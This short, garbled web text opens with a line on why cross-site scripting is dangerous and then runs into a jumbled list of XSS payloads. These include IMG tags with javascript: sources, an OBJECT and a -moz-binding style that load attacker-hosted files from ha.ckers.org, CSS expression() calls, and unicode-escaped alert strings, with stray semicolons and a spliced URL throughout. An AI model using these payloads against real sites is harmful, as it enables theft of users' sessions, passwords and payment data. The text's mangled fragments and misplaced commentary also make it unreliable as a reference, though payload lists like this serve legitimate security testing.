X XSS attacks are especially dangerous because an attacker can gain access to user activity, which include passwords, payment and financial information. "`'> foo=">"> <IMG SRC=javascript:alert("XSS")> test <;OBJECT TYPE=";text/x-scriptlet"; DATA=";http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>; <;IMG SRC=";livescript:[code]";>; \u0061\u006C\u0065\u0072\u0074(~'\u0061')test Tada, there’s your first XSS vulnerability exploited. >"'> <STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE> test <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A> '`"><\x3Cscript>javascript:alert(1) <;IMG SRC=";mocha:[code]";>; <;DIV STYLE=";width: expression(alert(';XSS';));";>; http://www.test OnMouseOver {Firefox & Opera} test \\'); alert(\'xss\');var x=\' javascript:alert(1); ">